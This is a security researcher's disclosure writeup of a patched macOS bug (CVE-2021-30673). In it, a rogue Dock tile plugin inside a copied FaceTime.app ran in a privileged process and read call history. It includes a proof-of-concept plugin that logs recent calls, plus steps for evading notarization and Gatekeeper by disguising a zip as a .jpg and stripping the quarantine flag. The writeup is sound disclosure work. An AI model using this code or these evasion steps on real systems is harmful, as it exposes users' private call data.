The following is a writeup of CVE-2021-30673, a macOS vulnerability which allowed access to view sensitive phone and FaceTime call data for devices in a user’s iCloud account, which was resolved in macOS Big Sur 11.4 and Security Update 2021-003 for macOS Catalina.
Background: Dock Tile Plugins
Dock tile plugins are plugins which are run in the Dock process and allow an application to customize it’s dock tile (for example, to customize the notification badge text or display a custom app icon) when not running. They are included in an app’s bundle in the PlugIns
directory, and the dock tile’s filename is included in the app’s NSDockTilePlugIn
section of the Info.plist
file. However, apps with dock tile plugins are not allowed in the Mac App Store.
Here is the header comment from NSDockTile.h
in AppKit:
/* An application may customize its dock tile when not running via a plugin whose principal class implements the NSDockTilePlugIn protocol.
The name of the plugin is indicated by a NSDockTilePlugIn key in the application's Info.plist file. The plugin is loaded in a system process at login time or when the application tile is added to the Dock. When the plugin is loaded, the principal class' implementation of -setDockTile: is invoked.
If the principal class implements -dockMenu, -dockMenu is invoked whenever the user causes the application's dock menu to be shown.
When the dock tile is no longer valid (eg. the application has been removed from the dock, -setDockTile: is invoked with a nil NSDockTile.
*/
Dock
Until macOS Catalina, all dock tile plugins (from both Apple and non-Apple developers) ran in the com.apple.dock.extra
process. However this has been a source of previous vulnerabilities, such as Patrick Wardle’s discovery of CVE-2018-4403
, in which the com.apple.dock.extra
process contained a private TCC entitlement allowing all code running in the process to access a user’s address book. This contravened the new privacy protections introduced in macOS Mojave.
As part of macOS Catalina’s new privacy protections (discussed in the previous CVE writeup), Apple created a new com.apple.dock.external.extra
process in which non-Apple binaries are supposed to be loaded.
The entitlements of this process are as follows:
$ codesign -d --entitlements :- com.apple.dock.external.extra.x86_64
Executable=/System/Library/CoreServices/Dock.app/Contents/XPCServices/com.apple.dock.external.extra.x86_64.xpc/Contents/MacOS/com.apple.dock.external.extra.x86_64
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.private.responsibility.set-to-self.at-launch</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
</dict>
</plist>
com.apple.security.cs.disable-library-validation
is the entitlement which allows apps using the Hardened Runtime load binaries that are codesigned with a different Team ID than the parent app. Thus, note that this binary has no special entitlements apart from an entitlement which allows it to load code from other developers.
However, the entitlements of com.apple.dock.extra
, which Apple dock tiles are loaded into, contains the following entitlements:
$ codesign -d --entitlements :- com.apple.dock.extra
Executable=/System/Library/CoreServices/Dock.app/Contents/XPCServices/com.apple.dock.extra.xpc/Contents/MacOS/com.apple.dock.extra
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.callhistory.pluginhelper</key>
<array>
<string>access-calls</string>
</array>
<key>com.apple.imdpersistence.IMDPersistenceAgent-UnreadChatList</key>
<true/>
<key>com.apple.private.calendar.notificationCount</key>
<true/>
<key>com.apple.private.responsibility.set-to-self.at-launch</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
</dict>
</plist>
Note the following entitlements which are not present in the external.extra
process:
com.apple.callhistory.pluginhelper
com.apple.imdpersistence.IMDPersistenceAgent-UnreadChatList
com.apple.private.calendar.notificationCount
If a non-Apple plugin was able to be loaded into this process, that binary would then be able to perform actions allowed by these entitlements.
For example, the CallHistoryPluginHelper
(located in the CallHistory.framework/Support
directory inside /System/Library/PrivateFrameworks
) checks that this entitlement is present when determining whether to accept a new XPC connection (XPC is discussed in the in the previous CVE writeup).
Here’s the Hopper pseudocode decompilation for the shouldAcceptNewConnection
method:
/* @class XPCServer */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
rbx = self;
rax = [arg3 retain];
r14 = rax;
r13 = [[rax valueForEntitlement:@"com.apple.callhistory.pluginhelper"] retain];
if ([r13 isKindOfClass:[NSArray class]] != 0x0) {
rax = [r13 containsObject:@"access-calls"];
if (rax != 0x0) {
r12 = rax;
rax = [NSXPCInterface interfaceWithProtocol:@protocol(PluginProtocol)];
rax = [rax retain];
[r14 setExportedInterface:rax];
[r14 setExportedObject:rbx];
[r14 resume];
[rax release];
}
else {
r12 = 0x0;
}
}
else {
r12 = 0x0;
}
[r13 release];
[r14 release];
rax = sign_extend_64(r12);
return rax;
}
Observe that the connection is checked for the presence of the com.apple.callhistory.pluginhelper
entitlement, as well as the presence of the access-calls
item in that entitlement array.
The PluginProtocol
XPC interface that is exported when these conditions are met is defined as:
@protocol PluginProtocol <NSObject>
- (void)unreadCallCount:(void (^)(unsigned long long))arg1;
- (void)recentCallsWithCallType:(unsigned int)arg1 withReply:(void (^)(NSArray *))arg2;
@end
Where CallType
is defined as the following enum:
typedef NS_ENUM(NSUInteger, kCallType) {
kCallTypeNormal = 1,
kCallTypeVoicemail = 2,
kCallTypeVOIP = 4,
kCallTypeTelephony = 7,
kCallTypeFaceTimeVideo = 8,
kCallTypeFaceTimeAudio = 16,
kCallTypeFaceTime = 24,
};
The vulnerability
The mechanism that determines whether to load a dock tile plugin into com.apple.dock.extra
or com.apple.dock.external.extra
is by determining the codesigning of the containing app (whether it was codesigned by Apple). This was determined by copying a legitimate copy of FaceTime.app and replacing it’s FaceTime.docktileplugin
with a malicious non-Apple plugin and observing that it was loaded into com.apple.dock.extra
instead of (com.apple.dock.external.extra
).
Since this plugin was incorrectly loaded into the process reserved for Apple apps, it has the extra entitlements discussed above - allowing access to call data.
Here’s a Proof of Concept malicious dock tile plugin, that when loaded as part of a legitimate copy of FaceTime.app
, will log your recent phone and FaceTime calls:
#import "PluginProtocol.h"
#import "CallType.h"
#import "CHRecentCall.h"
@interface FaceTimeDockTilePlugin ()
@property (strong, nonatomic) NSXPCConnection *connection;
@end
@implementation FaceTimeDockTilePlugin
- (void)setDockTile:(NSDockTile *)dockTile {
self.connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.CallHistoryPluginHelper" options:(NSXPCConnectionOptions)0];
self.connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(PluginProtocol)];
NSSet *allowedClasses = [NSSet setWithObjects:[NSArray class], NSClassFromString(@"CHRecentCall"), nil];
[self.connection.remoteObjectInterface setClasses:allowedClasses forSelector:@selector(recentCallsWithCallType:withReply:) argumentIndex:0 ofReply:YES];
[self.connection resume];
[[self.connection remoteObjectProxy] recentCallsWithCallType:(unsigned int)kCallTypeNormal withReply:^(NSArray *array) {
NSLog("%@", array);
}];
[[self.connection remoteObjectProxy] recentCallsWithCallType:(unsigned int)kCallTypeFaceTime withReply:^(NSArray *array) {
NSLog("%@", array);
}];
}
@end
In order demonstrate this vulnerability in full, I built an app, DockExploit.app
that contains a legitimate copy of FaceTime.app
, in addition to a malicious dock tile plugin. (The FaceTime.app
bundle was zipped and renamed to FaceTime.jpg
so that notarizing the app with Apple was successful). When launching DockExploit.app
, the following occurs:
- Initialize a
NSDistributedNotificationCenter
to allow communication between app and malicious dock tile plugin - Unzip legitimate
FaceTime.app
with malicious dock tile plugin to ~/Applications
- Remove
com.apple.quarantine
flag from FaceTime.app
to avoid GateKeeper validity check - Launch malicious
~/Applications/FaceTime.app
(which loads the bundled malicious dock tile plugin) - Log messages from
com.joshparnham.DockExploit.Data
distributed notification center to text view
Demo:
This was disclosed to Apple and fixed as part of macOS Big Sur 11.4. Apple added additional verification to ensure only Apple-signed binaries are able to be loaded into the com.apple.dock.extra
. Here’s a diff of the DockExtraServer
(inside the Dock binary) between an early version of Big Sur and Big Sur 11.4’s Dock.app
:
@interface DockExtraServer : NSObject
{
NSMutableSet *_extras;
id _identifier;
const char *_path;
NSObject<OS_xpc_object> *_connection;
NSObject<OS_dispatch_queue> *_connection_queue;
NSObject<OS_dispatch_queue> *_security_queue;
unsigned char _connection_uuid[16];
double _lastConnectionAttempt;
unsigned long long _reconnects;
unsigned long long _reconnectTime;
unsigned int _connecting:1;
unsigned int _connected:1;
unsigned int _connectionInvalid:1;
unsigned int _hasMenu:1;
unsigned int _isAppleSigned:1;
+ unsigned int _isPluginAppleSigned:1;
int _architectureOfPlugin;
ECStatusLabelDescription *_lastLabelDescription;
id _lastCustomIcon;
}
(note the new _isPluginAppleSigned
check in addition to the previous _isAppleSigned
check)
Now, attempting to exploit this vulnerability instead displays the following error:
This is implemented in the -[DockExtraServer initWithURL:fileIdentifier:isAppleSigned:]:
method of the main Dock process. Here’s the Hopper pseudocode decompilation for the error printed above:
int sub_10031e36f(int arg0) {
var_8 = **___stack_chk_guard;
rax = *arg0;
var_20 = 0x8220102;
*(&var_20 + 0x4) = rax;
rsp = ((rsp - 0x8) + 0x8 - 0x8) + 0x8;
_os_log_error_impl(__mh_execute_header, rsi, 0x10, "Attempted to load a non Apple signed plugin from:%{public}s", &var_20, 0xc);
rax = *___stack_chk_guard;
rax = *rax;
if (rax != var_8) {
rax = __stack_chk_fail();
}
return rax;
}
Further security improvemnets
This vulnerability also partially mitigated by the new “Launch Constraint” feature in macOS Ventura which prevents system apps from launching outside specific locations. This is documented by Csaba Fitzl here. For example, copying FaceTime.app
to the Desktop and attempting to launch it from there will result in:
default 11:06:38.801254+1000 kernel AMFI: Launch Constraint Violation (enforcing), error info: c[1]p[1]m[1]e[2], (Constraint not matched) launching proc[vc: 1 pid: 65795]: /Users/josh/Desktop/FaceTime.app/Contents/MacOS/FaceTime, launch type 0, failure proc [vc: 1 pid: 65795]: /Users/josh/Desktop/FaceTime.app/Contents/MacOS/FaceTime
default 11:06:38.801683+1000 kernel ASP: Security policy would not allow process: 65795, /Users/josh/Desktop/FaceTime.app/Contents/MacOS/FaceTime
This feature is available to third-party apps in macOS Sonoma:
Furthermore, in macOS Ventura, GateKeeper will validate that notarized apps haven’t been tampered with every time they are run, instead of checking during the initial run when the quarantine flag has been set. This will prevent apps that have been modified to include malicious dock tiles from running. More information is available in The Eclectic Light Company’s blog post here.
Timeline
- 2020-11-23: Initial disclosure
- 2020-12-01: Acknowledgement
- 2021-05-15: Confirmed fix in beta macOS version
- 2021-08-31: Bounty awarded